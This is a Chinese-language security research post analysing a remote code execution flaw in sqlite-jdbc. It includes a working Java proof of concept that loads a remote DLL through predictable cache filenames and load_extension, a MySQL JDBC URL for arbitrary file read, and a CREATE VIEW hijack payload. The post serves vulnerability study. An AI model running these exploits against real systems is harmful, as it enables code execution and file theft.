作为一直关注jdbc漏洞的人,看到这个漏洞当然要去研究下。
首先简单说明下jdbc漏洞是什么,其实就是控制了一个jdbc链接后造成的危害,具体可以看以前的这篇文章。
https://mp.weixin.qq.com/s/pYWbpyW8DHXGvqsJurbc6A
比如最常用的mysql任意文件读取。
jdbc:mysql://127.0.0.1:3306/test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&maxAllowedPacket=655360&user=linux_passwd
sqlite的jdbc已经有了一个SSRF和Magellan溢出,这次又是什么呢?
https://github.com/xerial/sqlite-jdbc/security/advisories/GHSA-6phf-6h5g-97j2
官方直接说是个RCE,3.6.14.1-3.41.2.1为漏洞版本,安全版本为3.41.2.2
https://github.com/xerial/sqlite-jdbc/releases/tag/3.41.2.2
一开始,我以为像所有的jdbc漏洞一样,sqlite的某些参数可以达到RCE的结果,于是去搜索了sqlite可以有哪些参数。
其中主要是由PRAGMA命令控制的一些环境变量。
https://www.sqlite.org/pragma.html
在jdbc中,控制cache_size=2000,也就相当于执行了对应的PRAGMA的SQL语句。
jdbc:sqlite:file:default.db?cache_size=2000
PRAGMA cache_size = 2000
在org.sqlite.SQLiteConfig.apply()中,我们可以看到具体是怎么转换的。
除了这些PRAGMA之外,在org.sqlite.SQLiteConfig之中,我们能找到更多的jdbc可控参数。比如DATE相关参数,这些不是由PRAGMA控制的,因此官网上找不到相关信息。
其中有存在漏洞的参数吗?像mysql控制反序列化,或者PostgreSQL控制log/class一样。答案是几乎没有,你甚至都很难找到一个可以传任意string的参数。
其中很大一部分只能传boolean或者int,很大一部分是enum类,只能传内置的几个string。唯三能控制任意string的参数是date_string_format/temp_store_directory/password。password不提,date_string_format仅仅是对时间格式的解析,temp_store_directory则可以利用报错,来探测目录。
唯一跟RCE有关系的,是load_extension()这个加载dll的开关,可以通过jdbc控制。
那么漏洞到底是什么呢?还得从更新文件里面找,我一开始是对比文件进行寻找的,结果完全看不出来哪儿有问题,结果答案就在这个不起眼的fix中。
结果仅仅是把缓存文件的hashcode()换成了randomUUID(),也就是说,让缓存文件名不可预测了。这个缓存文件,即为远程加载数据库文件的缓存文件。
也就是说,这个漏洞本质上只能做到控制文件内容的文件写,结合sqlite的一些特性,那么整个漏洞的利用流程就可以推测出来了,实际就是进行两次外部数据库加载,一次随便一个db,一次dll,然后利用jdbc+load_extension进行RCE。
package test;
import java.io.File;
import java.net.URL;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.Statement;
public class Test {
public static void main(String[] args) throws Exception{
Class.forName("org.sqlite.JDBC");
String url1 = "http://127.0.0.1:81/default.db";
String url2 = "http://127.0.0.1:81/1.dll";
String tmp = "C:\\Users\\administrator\\AppData\\Local\\Temp\\sqlite-jdbc-tmp-";
String db = tmp + new URL(url1).hashCode() + ".db";
String dll = tmp + new URL(url2).hashCode() + ".db";
new File(db).delete();
new File(dll).delete();
DriverManager.getConnection("jdbc:sqlite::resource:"+url1).close();
DriverManager.getConnection("jdbc:sqlite::resource:"+url2).close();
Connection conn = DriverManager.getConnection("jdbc:sqlite:file:"+db+"?enable_load_extension=true");
Statement stmt = conn.createStatement();
String sql = "select load_extension('"+dll+"','dllmain')";
stmt.execute(sql);
}
}
具体效果如下
但这种控制了jdbc,还要控制sql语句的环境显然并不理想。如果jdbc就可以执行load_extension()就好了。但是sqlite无法通过jdbc进行多语句或者PRAGMA的注入,所以看起来整体似乎是个非常鸡肋的漏洞。
这篇文章中提到过一种利用CREATE VIEW来劫持select的方法,执行CREATE VIEW之后,db文件会插入CREATE VIEW语句(DDL),因此形成了一个恶意数据库文件。如果有条件先用jdbc加载这个文件,再执行某个固定无法更改的select,就可以被劫持成load_extension()。
https://research.checkpoint.com/2019/select-code_execution-from-using-sqlite/
CREATE VIEW test(a) as select load_extension('calc.dll','dllmain')
select * from test
但这也被视为漏洞,在高版本会出现上面这个提示,用sqlite-jdbc-3.21.0.1.jar测试成功。
然而在探索PRAGMA的过程中,我们还真发现了一个可以仅靠jdbc就能触发的select,那就是password。
可能出于填充密码之后测试SQL语句是否能用的思路,高版本和低版本都默认执行了不同的select。
select 1 from sqlite_schema
select 1 from sqlite_master
不过很遗憾的是,它们都不是实际的表,而是系统自带的虚拟表,用于新建表的索引,无法通过CREATE VIEW劫持,即使手工修改数据库文件,插入CREATE VIEW也一样。
所以最后研究下来似乎还是个需要控制SQL的鸡肋漏洞,当然,如果有人能够实现jdbc的参数SQL注入,或者突破sqlite_xxxx的劫持限制,也许就真正成为一个完整的利用链了。